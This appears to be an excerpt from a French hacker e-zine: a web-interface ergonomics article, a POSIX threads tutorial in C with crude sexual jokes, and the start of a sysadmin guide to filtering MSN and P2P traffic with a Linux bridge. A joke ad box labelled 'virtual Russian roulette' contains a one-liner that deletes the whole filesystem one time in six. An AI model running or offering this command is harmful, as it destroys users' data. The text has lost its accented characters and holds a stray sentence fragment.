sont trs utiles pour recevoir de l'information de la part d'un utilisateur, mais ils doivent 
tre choisis avec soin selon le contexte et le  type  de  donnes acquises. Par exemple, pour 
choisir parmis une numration de noms plus ou moins longue comme une liste de ville ou pays, 
le "select" est  indiqu.  Pour  un  choix de rponse restreint, utilisez plutt les "radio". 
Plusieurs assais on t faits pour ajouter d'autres "input controls" plus avancs  comme  des 
tabulateurs ou des "slidebars" pour enrichire l'interaction  avec  l'utilisateur.  Le  chemin 
pour y arriver est souvent laborieux et les rsultats  plutt  dcevants.  D'un  autre  cot, 
certains sont arrivs  des rsultats plutt impressionants, comme Mihai Bazon avec sa vision 
d'un textarea:  http://www.interactivetools.com/staff/ben/htmlarea3_demo/example.html

	Il  faut  aussi  viter  de  mettre  trop  de  texte  pour  rien, si des informations
supplmentaires <em>pertinantes</em> sont disponibles, linkez les  plutt  que  de  crer  un 
manuel d'instruction interactif en guise de programme. Soyez le  plus  bref  et  conis   que 
possible, en tout temps, car le average net user  dteste  lire.  Tout  ce  qu'il  veut c'est 
atteindre son but le plus rapidement  possible  avec  le  moins  d'tapes  possible. Pourquoi 
croyez-vous que sur un des  applications  web les plus visit du monde; google, on y retrouve 
zro annonces publicitaires, 42 mots et 1 image ?

	C'est aussi vrai pour les menus, vitez les noms trop longs. vitez  les  noms  comme 
"Lire les nouvelles" ou "Discuter sur le Forum".  Utilisez  plutot  des  mots  simples  comme 
"Nouvelles" et "Forum", l'utilisateur comprendra quand mme et  votre  design ne s'en portera 
que mieux. Si vous avez beaucoup d'items dans votre menu, n'hsitez pas de crer des "arbres" 
pour regrouper vos items de faon logique.

	Si  quelque  chose  n'est  pas  utile    votre  contenu ou "message", enlevez-le. Le 
meilleur exemple que je puisse penser, c'est la surutilisation sections membres  sur  le web. 
Pratiquement chaque site web  sa propre secion membre. Demandez-vous  si  c'est   rellement 
indispensable. Considrez toujours que les  utilisateurs  du  web restent rarement fidles au 
mme site trs longtemps.  moins d'offrir  un  service,  comme  un  webmail ou ebay, ou tre 
rellement ax sur le  cot  "communaut web"  avec  un  but  prcis  comme doyoulookgood, ca 
ne  vaut  pas rellement la peine d'avoir une section membre. Par exemple, certains sites web 
forcent les utilisateurs  s'enregistrer pour downloader leurs  produits,   combien  de  fois 
croyez vous que ces utilisateurs reviennent sur le site pour .. lire le forum ? .. Participer 
au sondage ? .. Une fois qu'il a tlcharger ce  qu'il  voulait.   Je  parirais plus qu'il va 
oubli sont password dans la mme    heure. Choisissez les lments qui composent votre site 
avec discernement. 

	Vous devez aussi prendre en considration votre public cible. Par  exemple,  si  vous 
faites un programme pour administrer une base de  donne  mysql,  vous  pouvez  prendre  pour 
acquis que l'utilisateur qui utilisera votre programme   une  base  relativement  solide  en 
informatique. Mais si vous codez un client  ftp  ou  http, vous devez prendre en compte qu'un 
plus grand "range" de niveaux  d'utilisateurs  risquent  d'utiliser  votre  application.   En 
gnral, si vous  programmez  pour  des  utilisateurs avancs, votre interface sera complexe, 
mais votre programme simple. Tandis que pour des utilisateurs lamba,  l'interface sera simple 
et le programme sera complexe. Sa semble illogique,  mais  un  programme  qui s'adresse  des 
dbutants devrait faire le maximum avec  un  minimum  d'interaction  avec  l'utilisateur.  Le 
programme doit donc dduire  beaucoup  plus  de variables. L'utilisateur avanc, quant  lui, 
n'abandonnera pas  devant  un plus grand nombre de champs de saisie de donne. Par contre, il 
le  fera si les "input controls" ne sont pas utiliss efficacement. Le mieux  est  videmment 
d'avoir le meilleur des deux mondes, une interface simple, mais qui cache des options avancs 
facilement accessibles.

	Le comble de l'ergonomie software tant surement de plugger  directement  le  cerveau 
humain en interaction avec le programme, nous allons nous concentrer de ce que l'average uber 
geek peut arriver  faire sans ouvrir un crne.  J'ai  trouv  sur  le  net  un  petit   test 
heuristique  qui  permet  de  djouer  les  erreurs  courantes  commisent  dans  les   design 
d'interfaces  de  programmes.  Il  a  t crit et pens dans le contexte de la programmation 
standard et non "web",  mais avec un peu d'imagination c'est applicable sur le web aussi.

 Tableau 1
 
+---------------------------------------------------------------------------+
| valuation heuristique d'un interface	*****				    |
+---------------------------------------------------------------------------+
| 1. tat du systme							    |
| 							    |
|     L'utilisateur devrait tre inform de ce qui ce passe en arrire plan |
| de faon approprie et ce dans des dlais rsonnables.		    |
|									    |
+---------------------------------------------------------------------------+
| 2. Lien entre le systme et le monde rel				    |
| 				    |
|     Le systme devrait communiquer avec un language facile  comprendre   |
| par l'utilisateur dans un ordre logique et naturel plutt que dans	    |
| la forme "orient systme".						    |
|									    |
+---------------------------------------------------------------------------+
| 3. Libert de mouvement						    |
| 						    |
|     L'utilisateur devrait tre en mesure de quitter n'importe quelle 	    |
| "tape" du programme ,dans laquel il aurait pus arriver par mgarde, 	    |
| rapidement et facilement.	(Souvent ralis avec undo\redo)	    |
|									    |
+---------------------------------------------------------------------------+
| 4. Consistance et standards						    |
| 						    |
|     L'utilisateur ne devrait pas avoir  se questionner sur la 	    | 
| signification des termes, situations ou actions. Suivez les conventions   |
| de la plateforme.							    |
|									    |
+---------------------------------------------------------------------------+
| 5. Prvenir les erreurs						    |
| 						    |
|     Encore mieux qu'un bon message d'erreur: prvenez cette erreur.	    |
|									    |
+---------------------------------------------------------------------------+
| 6. Accessibilit							    |
| 							    |
|     Rendez les objets, actions et options visibles. L'utilisateur ne 	    |
| devrait pas avoir  se souvenir des informations d'un "dialogue"  	    |
| l'autre. Et les instructions d'utilisation devraient tre accessible      |
|  facilement	                                                            |
| en tout temps.							    |
|									    |
+---------------------------------------------------------------------------+
| 7. Flexibilit et efficacit						    |
| 						    |
|     Les racourcis (cachs aux utilisateurs lamba) peuvent grandement 	    |
| accelrer l'interaction des utilisateurs plus experts. De cette faon,    |
| l'interface convient au deux types d'utilisateurs. Rendez possible 	    |
| l'optimisation des tches rptitives.				    |
|                                                                           |
| * A mon avis Adobe Photoshop est une rfrence sur ce point.		    |
|									    |
+---------------------------------------------------------------------------+
| 8. Design esthtique et minimal					    |
|                                              |
|     Les dialogues ne devraient pas contenir d'informations futiles et     |
| inutiles. Chaque unit d'information ajout inutilement entre en          |
|concurence avec les information crutial et le rendrent moin		    |
| visible.								    |
|									    |
+---------------------------------------------------------------------------+
| 9. Aidez  la reconnaissance, le dboguage et la rsolution d'erreurs     |
| 	    |
|     Les messages d'erreur devraient tre exprims en texte simple, sans   |
| codes. Ils devraient indiquer avec prcision la source de l'erreur et     |
| donner une ou des suggestions constructives sur la faon de rgler le	    |
| problme.								    |
|									    |
| * <sarcasme>Microsoft est pass maitre dans cet art :)</sarcasme>	    |
|									    |
+---------------------------------------------------------------------------+
| 10. Aide et documentation						    |
| 						    |
|     Mme si dans le meilleur des monde une application ne devrait pas     |
| ncssiter d'aide, il est souvent ncessaire de fournir une documentation.|
| Elle devrait tre facile  trouver, oriente principalement sur les tches|
| de l'utilisateur. Lister les tapes concrtes  faire et tre le plus     |
| concis possible.							    |
+---------------------------------------------------------------------------+


Tricks
------


n'aurais tout simplement pas pu faire ce genre  de chose. Avec Perl, les possibilits taient

	Lorsque  l'utilisateur  doit  "browser"  beaucoup  de  lignes,  utiliser  un  systeme 
d'highlight "onMouseOver" like pour mettre en vidence  la  ligne  qu'il  survole,  vous  lui 
pargnerez  peu-tre  un  mal  de  tte. La couleur du  highlight  devrait  tre  subtile  et 
harmonieuse  avec  le  background  et  le   foreground  plutt  qu'aggressive  et  clatante. 
Gnralement deux ou trois tons  plus  foncs  ou  clairs  que  le  background  donne de bons 
rsultats.

	Garder les subtilits pour les lment du background, le foreground doit tre vident 
et  contrast,  le contenu doit tre le plus lisible possible. Les crans  et  les  yeux  des 
personnes rendent trs diffremment les nuances et les subtilits d'un sujet  l'autre.

	La validation de forms avec le JavaScript est trs bien pour gagner  du  temps,  mais 
il ne faut pas pour autant ngliger la validation cot serveur. Car la validation cot client 
est facile  bypasser et ne constitue pas  une  scurit  en  soi.  On pourrait appeler ca un 
"refresh saver".

	Assurez vous que les liens ressortent bien du texte qui l'entour, et tentez  le  plus 
possible d'utiliser toujours la mme couleur pour vos liens. Ca peut  sembler  pouss   comme 
raisonnement, mais le bleu est une couleur  favoriser  pour  les  liens.  Par  defaut,   les 
fureteurs  utilisent  le  bleu  comme  couleur  pour  les  liens.. Les  utilisateurs  y  sont 
gnralement habitus. 

	Si le public cible de votre site comporte des personnes ages, pensez   ajouter  des 
options  d'accessibilit,  grandeur  de  police  variable  (avec  css  et  javascript   c'est 
relativement facile), thmes contrasts ou version imprimable pour les personnes  ayant   des 
prolmes visuels. Ce sont des petits plus souvent oublis.
	
	Utilisez plus d'un bta testeur, 4 ou 5 c'est parfait, selon l'ampleur du projet. 

	Spcifiez aussi les background blanc. De  plus  en  plus  d'utilisateurs  "mod"  leur 
windows et le background d'application n'est pas toujours ncssairement   blanc, ce qui peux 
jouer normment sur le rendu de vtre design.

	 moins que le dfilement de votre contenu soit horizontal, vitez que votre  contenu 
dpasse les 800px de largeur. C'est toujours surprenant (ou dcourageant)  de  voir le nombre 
de taupes qui utilisent encore cette rsolution ..

	Le shockwave flash mme s'il ne fait pas partie des recommandations du  W3C vaut bien 
une mention spciale. Il est considrablement rpendu et il faut  avouer ses avantages. Flash 
offre beaucoup d'avantages qui seraient techniquement  trs difficiles, voir mme impossibles 
 raliser avec du simple html ou mme dhtml. Toutefois,  mme  si  vous ou votre client tes 
trs enthousiasms par le flash,  rsistez   la tentation de faire votre site entirement en 
flash. Cette  technologie a beau tre en constant essort, le nombre de types de "clients" qui 
peuvent  lire  le  format  flash  reste  plutot  limit. Il est certain que la nature du site 
importe  dans  cette  dcision.. Si les cellulaires, palm, .. frigidaire ? fureteur textes ou 
les os  qui  ne sont pas supports par flash ne sont pas vis .. so what ? .. Mais attention, 
mme  s'il  est  peu  probable  que  vous  ayez  boucoup  de  visiteurs utilisant lynx, si un 
navigateur texte ne peut visiter votre site, un robot de moteur de recherche ne le pourra pas 
plus. Pensez-y bien :)


 Tableau 2 *fort probablement incomplet ..
 
+---------------------------------------------------------------------------+
| Languages client side						            |
+---------------------------------------------------------------------------+
|	html		|	HyperText Markup language		    |
|	dhtml		|	Dynamic HyperText Markup language	    |
|	xhtml		|	eXstensible HyperText Markup language	    |
|	vml		|	Vector Markup language			    |
|	css		|	Cascading Style Sheet		    	    |
|	vbs		|	VisualBasic Script		   	    |
|	js		|	JavaScript				    |
| 	js		|	JScript					    |
|	class ?		|	Java (compil)				    |
|	ocx		|	ActiveX					    |
|	xml		|	eXstensible Markup Language		    |
|	xsl		|	eXstensible Stylesheet Language		    |
|	xslt		|	eXstensible Stylesheet Language Transform   |
|	xsd		|	XML Shema Defenition			    |
|	dtd		|	Document Type Defenition		    |
|	swf		|	ShockWave Flash	(compil)		    |
|-- autres standards drivs (gnralement non supports) ------------------|
|	sgml		|	Standard Generalised Markup Language	    |
|	thml		|	Theological Markup Language		    |
|	xrml		|	Digital Rights Language for Trusted         |
|			|	Content & Services	                    |
|	gml		|	Geography Markup Language		    |
|	qml		|	Quantum Markup Language :> **		    |
|	sbml		|	Systems Biology Markup Language		    |
|	uiml		|	User Interface Markup Language		    |
|	cml		|	Chemical Markup Language		    |
|	cml		|	Chemical Markup Language		    |
|	xaml		|	"Longhorn" Markup Language ***	    	    |
|	wml		|	Wireless Markup Language	            |
|	cnxml		|	Connexions Markup Language		    |
|	mathml		|	Mathematic Markup Language		    |
|	idml		|	International Development Markup Language   |
|	rdf		|	The Resource Description Framework	    |
|	smil		|	The Synchronized Multimedia Integration     |
|                       |       Language		                    |
|	svg		|	Scalable Vector Graphics		    |
+---------------------------------------------------------------------------+
| Languages server side							    |
+---------------------------------------------------------------------------+
|	cgi			|					    |
|	pl			|	perl				    |
|	php			|	Hypertext PreProcessor		    |
|	rb			|	ruby				    |
|	py			|	python				    |
|	asp			|	Active Server Page		    |
|	aspx			|	Active Server Page	x ?	    |
|	tcl			|					    |
|	jsp			|	Java Server Page		    |
|	cfm			|	Cold Fusion 			    |
+---------------------------------------------------------------------------+


*		RPC (Realtime Procedure Call). Pour plus d'infos: 
		http://www.bazon.net/mishoo/rpc.epl
**		http://www.qc.fraunhofer.de/doc/qml/QMLspecification.html <- ish.
***		Nouveau language markup supposment "rvolutionaire" de microsoft .. messemble :p
****	Heuristique: Mthode de recherche empirique ayant recours aux essais et 
		erreurs pour la rsolution de problmes. C'est une mthode frquemment 
		utilise en intelligence artificielle,  l'intrieur de ce qui est 
		techniquement appel univers incertains. (source: www.dictionnaire.com)
*****	Tir d'un texte de Jakob Nielsen at:
		http://www.useit.com/papers/heuristic/heuristic_list.html


Note:	Entre temps o j'ai commencer  crire cet article et celui o je l'ai finalis,
		j'ai finalement eu une connection haute vitesse :) thx a lot TheCops ;>



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|<g463> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /                    \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ la roulette russe virtuel                                             ]=\:\  |
  \__\__________________________________________________________________________________/  


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O5]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de thread          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Introduction au POSIX thread API.                         ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Phawnky    ]=\:\ _//     
                                                  \__\________________________/__/ 


                                                  
                           
.:[ Intro ]:.                                                      

  .: Quesser que c un thread? :. 

      Imaginer (preferablement apres un spliff/alcool/manque de someille) que le task manager 
      c'est genre une ville la, yeah. Et  genre,  dans  cette  ville  chaque  edifice  a  une 
      fonction   etabilit;   ses  propres  ressources  fournit  par  l'osti  de  gouvernement 
      corrompu...erm. Mais le plus weird la, c'est que  la  plupart  des  edifices  continent 
      juste une salle de 50 etages de haut.  Perte d'espace et d'argent? hell yeah! Le thread 
      palie a ce probleme la  en  ajoutant la possibilite de creer plusieurs etages remplient 
      d'esclaves  qui  travailent  tous en meme temps, theoriquement. Chaque etage d'esclaves 
      peut avoir une fonction differente. En plus d'etre aussi economique qu'une  Mr big avec 
      25% de plus, le tout rend la gestion des taches a l'interne  extremement facile a geree 
      que ce soit cote communication ou ressources partagees.
            
  .: Pourquoi c'est kewl un thread? :.    
  
      Mise a part l'evidence, que le programmes va aller exponentiellement plus vite, un truc 
      pas mal nice avec les threads c'est la communication inter-threads  qui  est  tellement 
      simple comparativement au crisse d'enfer  mongole  de  la  communication inter-proccess 
      (Genre les femmes c'est simple a coter de ca).
      
      C'est simple parceque chaque thread a access au Variable Global d'un  prog.  Donc,  pas 
      besoin d'ouvrir un cannal de communication IPC (msgget/msgsnd/msgrcv)  nope  nope nope, 
      suffit juste de modifier une var :D well, presque...  il  est  aussi  question de mutex 
      locks, mais j'aborderais pas le tout immediatement.
      
  .: Quand ca peut etre utile? :.
  
      Je sais pas si vous avez deja programmer un ports scanner pour le fun ou n'importe quoi 
      d'autre ou y'a enormement de function calls qui sont  non  critique  a l'application en 
      soi et qui peuvent etre fait dans le desordre  le  plus  total,  mais c'est precisement 
      dans ce temps la, que rayonne l'utilisation de threads.
      
.:[ Creation de threads ]:.

   .: Premier programme multi-threaded :.
   
      00
      00    // Compiler avec -pthread [*bsd/cygwin] ou -lpthread [linux]
      00
      01    #include <stdio.h>
   *  02    #include <pthread.h>
      03
   *  04    void *tfunc(void *moo) { putchar(*(int *) moo); }
      05
      06    int
      07    main()
      08    {
      09       char str[] = "Hello World\n";
   *  10       pthread_t tlist[sizeof(str)/sizeof(str[0])];
      11       int i;
      12
      13       for(i=0; str[i]; i++)
   *  14          pthread_create(&tlist[i], 0x00, tfunc, &str[i]);
      15       sleep(1);
      16    }
       
   .: Explications :.
   
   02 - L'API POSIX de thread (pthread) 
        
        Tres important de compiler avec la switch: 
           -pthread  [*bsd/cygwin] 
           -lpthread [linux]
                   
   04 - Declaration de la fonction qui va etre appeller juste apres la creation d'un thread    
      
   10 - Declaration d'une liste d'elements du types pthread_t (les threads)
   
   14 - Creation de threads. La structure de la fonction pthread_create:
   
        pthread_create(pthread_t *thread, const pthread_attr *attr, 
                       void *(*start_routine)(void *), void *arg);

        - Pour  les  attributs,  NULL  va utiliser ceux par default et generalement ca suffit 
          emplement.
  
        - La fonction doit retourner un pointer void et prend aussi  uniquement  un  pointeur 
          void comme argument, mais y reste que  ca  peut  evidement  etre une voided struct, 
          c'est loin d'etre limitatif.
                    
.:[ Utilisation de ressource partager ]:.
      
   .: Mauvais exemple de ressources partager :.
           
      01    #include <stdio.h>
      02    #include <pthread.h>
      03
      04    void *fuxor(void *);
      05
      06    // Ressource Partage
   *  07    struct SexSlave {
   *  08       int compteur_sekz;
   *  09    } Fire;
      10
      11    int main()
      12    {
      13       char *lemuriens[] = { "phawnky", "wyzeman", "init_null",
      14                             "candu", "mindflayr", "h3",
      15                             "NeVR-C", "Ma_Bell",  "ibrator",
      16                             "XeliteX" };
      17       pthread_t lemurien_t[10];
      18       int i;
      19       
      20       for(Fire.compteur_sekz=i=0; i<10; i++)
      21          pthread_create(&lemurien_t[i], 0x00, fuxor, lemuriens[i]);
      22       sleep(1);
      23
      24       printf("[F]ire a baise %d fois! et elle en redemande!\n",
      25              Fire.compteur_sekz);
      26    }
      27
      28    void *fuxor(void *lemurien)
      29    {
   *  30       printf("[F]ire se fait baiser par %s\n", lemurien);
   *  31       printf("%s ne baise plus [F]ire\n", lemurien);
   *  32       Fire.compteur_sekz++;
      33    }

   .: Explications :.
   07 - 09: Creation de la ressource Fire de type SexSlave qui va etre  accessible  par  tout 
            les threads.
           
   30 - 32: Self-Explanitory

   .: Moo :.   
   Une fois compile et exectue, un probleme (MAJEUR) est plutot apparant...Tout les lemuriens 
   baisent Fire en meme temps, en plus d'etre physiquement  impossible et/ou tres douloureux, 
   c'est un effet secondaire indesirable (discutable). Dans tout les cas, je prefers que tout 
   le monde ce la tappe  a  tours  de role. Pour qu'il en soit ainsi l'utilisation d'un mutex 
   lock est necessaire. Mutex lock est un  abbreviation  pour:  Mutual  Exclusion  Lock ou...
   erm...Serrure a Exclusion Mutuelle? En bref c comme l'analogie du  chat  dans  la boite en 
   physique quantique sauf que y'a pas de boite, y'a  juste  un  chat...et le chat peut juste 
   appartenir a une personne a la fois.
   
.:[ Mutual Exclusion Locks (MUTEX) ]:.      
      
      01    #include <stdio.h>
      02    #include <pthread.h>
      03
      04    void *fuxor(void *);
      05
      06    // Ressource Partage
      07    struct SexSlave {
      08       int compteur_sekz;
   *  09       pthread_mutex_t sekz;
      10    } Fire;
      11
      12    int main()
      13    {
      14       char *lemuriens[] = { "phawnky", "wyzeman", "init_null",
      15                             "candu", "mindflayr", "h3",
      16                             "NeVR-C", "Ma_Bell",  "ibrator",
      17                             "XeliteX" };
      18       pthread_t lemurien_t[10];
      19       int i;
      20       
      21       for(Fire.compteur_sekz=i=0; i<10; i++)
      22          pthread_create(&lemurien_t[i], 0x00, fuxor, lemuriens[i]);
      23       sleep(1);
      24
      25       printf("[F]ire a baise %d fois! et elle en redemande!\n",
      26              Fire.compteur_sekz);
      27    }
      28
      29    void *fuxor(void *lemurien)
      30    {
   *  31       pthread_mutex_lock(&Fire.sekz);
      32       
      33       printf("[F]ire se fait baiser par %s\n", lemurien);
      34       printf("%s ne baise plus [F]ire\n", lemurien);
      35       Fire.compteur_sekz++;
      36 
   *  37       pthread_mutex_unlock(&Fire.sekz);
      38    }

   .: Explications :.
   09 -> Le sex de Fire est dorenavent proteger par un mutex lock.

   31 -> Le thread essaie de prendre possession du sex a fire,  si  il  ne  reussit  pas   la 
         premiere fois, il va re-essayer jusqu'a  ce qu'il est assouvit son envie... comme un 
         grand gracon.

   37 -> Le Thread peut enfin mourrir l'ame en paix.
               
      
.:[ References ]:.
   
 -> http://www.llnl.gov/computing/tutorials/pthreads/
 
 -> man pthread  
 
 -> PThreads Primer - A Guide to Multithreaded Programming
    - Bil Lewis & Daniel J. Berg 
    - SunSoft Press, A Prentice Hall Title
    - 1996 (c) Sun Microsystems, inc.
    - ISBN 0-13-443698-9





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<An0n1mUs> salut wyzeman                                \_ \   \\_  \_ \         `
 || |<An0n1mUs> hey pense tu je pourrais avoire 100 sur hack.fr\\_  \_ \   \\_ M  ; . X
 || |<wyzeman> dit moi pour quel raison jdevrais penser ca     \_ \   \\_  \_ \ K      
 || |<An0n1mUs> pcq chu fanatique de so pi jpourrais etre utile  \\_  \_ \   \\_ -  : '
 ||`|a kkchose keke temp                                         \_ \   \\_  \_ \ 1   
 || |<wyzeman> ok, c quoi tes connaissances ?                      \\_  \_ \   \\_ 1  + 
 || |<An0n1mUs> jconnais un peux so                                \_ \   \\_  \_ \ 1   
 ||'|<An0n1mUs> flood...                                             \\_  \_ \   \\_  x 
 || |<An0n1mUs> pi taker les chan                                    \_ \   \\_  \_ \  `
 || |<An0n1mUs> jai jflood po souvans ts                              \\_  \_ \   \\_  
 ||,|<An0n1mUs> jprend so jenre pour eu ki me fon chier                \_ \   \\_  \_ \.
 || |<An0n1mUs> jai un autre user                                        \\_  \_ \  _\\_  
/ | |<An0n1mUs> pour po me faire reconnaitre                             \_ \   \\_/    \
 / ;|<An0n1mUs> pi tout                                                    \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit bourr d'lite                                    ]=\:\  |
  \__\__________________________________________________________________________________/  


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O6]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de spying          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:Amliorer la productivit d'une secrtaire dans un nutshell]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Mr_Peuch   ]=\:\ _//     
                                                  \__\________________________/__/ 

-=== Starring ===-
Mr_Peuch
Initnull

-=== Table des matires ===-
1. Introduction

2. Matriel et Logiciels Requis

3. Installation

4. Configuration


///////////////////////////
/-=== 1. Introduction ===-/
///////////////////////////



	Le prsent article  t cr dans le but unique d'informer la population de sysadmin 
que,  OUI,  il  est  possible  d'liminer  le  problme  de  MSN ( dans certain tablissement 
d'enseignement par exemple) ou encore  les  fameux  logiciels  de  p2p  qui  bouffe  la bande 
passante de votre entreprise.  La solution  que  je  vous  propose  aujourd'hui  consiste  en 
l'laboration d'un pont transparent qui permet le filtrage de ces nuisances sans mme que les 
usagers ne s'en  rende  compte, si ce n'est que pour vous appeler parce que son msn ne marche 
plus! a. Prsentation de la technologie


==UN BRIN DE THORIE==

------------------------
-   Pont transparent   -
------------------------

	Les ponts transparents  sont  bass  sur  la  norme IEEE 802.1D. Situ au niveau 2 du 
modle OSI les adresses MAC  des  trames  sont stockes dans une table de routage. De plus en 
utilisant une mthode dauto apprentissage le  pont  pourra  dterminer  sur  quel segment du 
rseaux sera situ le destinataire.

	Pour  ce  faire le pont coute tous les paquets transmis. Chaque fois quil reoit un 
paquet il stocke ladresse  source  et  le  port  par  lequel  il a t envoy. Ensuite il va 
parcourir sa table dadresse pour trouver le destinataire.

- - Fonctionnement

	Pour  chaque  paquet  reu,  le  pont  enregistre  ladresse qui figure dans le champ 
dadresse de source du paquet dans une mmoire cache, en mme temps que le port sur lequel le 
paquet a t reu. Deux solutions ce prsentes alors :


    1) Sil  ne  trouve  pas  le  destinataire  alors  il  renvoie  le  paquet sur toutes les 
       interfaces sauf celle qui vient dmettre.
    2) Lorsquil trouve le  destinataire  il  se contente  dacheminer  le  parquet   jusqu' 
       destinataire en utilisant la table quil possde.
    3) Dans le cas ou il trouve le destinataire et que ce dernier est sur le mme segment que 
       lexpditeur alors il limine le paquet.

       On  peut  considrer  les  firewall  comme  des  ponts  transparent  dans  les rseaux 
dentreprise car ils font du transfert de trame dune premire interface vers  une  deuxime. 
Les firewall peuvent travailler de la couche 3  7  du  modle  OSI.  Dans  notre  cas,  nous 
utiliserons la couche 7 (Yuss! thx to google.ca for this part)

	Voici le shema  quoi cela ressemble :

   _____________	___________________	    ____________________
   |	       |    eth0|		   |eth1    |			|
---| Interbret |--------| Pont transparent |--------| Gateway ou switch |---- whatever
   |___________|	|__________________|	    |___________________|

-------------------------
-  Module iptables-p2p  -
-------------------------

	Le module iptables-p2p est un module  la base conu pour effectuer  des  matchs  sur 
les  protocoles  p2p  au niveau de la couche application, donc la OSI Layer 7.  Cependant, il 
est conu galement pour ne pas marcher! Je  m'explique.  Les  diffrentes squences de match 
ne sont pas vraiment les bonnes avec le module par dfaut. C'est  la que le programmeur entre 
en jeux.


	Chaques  squences  est  contenue  dans  un  fichier  .c  diffrent  pour  chacun des 
protocoles ie. fastrack.c pour  le  protocole fastrack.  Le  principe est simple, pour chaque 
paquet recu au travers du firewall, le modules  effectue un  challenge  avec  les diffrentes 
squences qu'il connait et drop le paquet s'il a rencontr un match  avec  n'importe quel des 
squences.  D'ailleurs, c'est pour cela qu'il faut une bonne machine!

	Le version  que  initnull  et  moi  avons  modifie, ajoute de nouvelles squences et 
amliore celle par dfaut. Par exemple, nous avons  conu  un  module pour radier totalement 
MSN et les web messenger du rseau.

	 noter, pour terminer,  que  malheureusement  lorsque les logiciels de p2p update ou 
passe  une nouvelle version, il arrive que les squences  ne  soit  plus  valide.  Ce module 
requiert une maintenance continue.
 


///////////////////////////////////////////
/-=== 2. Matriel et Logiciels Requis ===-/
///////////////////////////////////////////

	Matriel Requis:
		- Un  PC plus puissant qu'un clron 333 (si vous avez plus de 5mbit de bande 
                  passante)
		- 2 carte rseau 10/100 ( 2 carte rseau 10/100/1000 font encore mieux )

	Logiciel Requis:
		- Linux
		- bridge-utils
		- iptables
		- Module iptables-p2p lgrement modifier par initnull et mr_peuch
			---> Fichier dispo ici : http://www.mindkind.org/mr_peuch/iptables.tgz
                        (aussi disponible dans la version full .tar.gz du ezine)

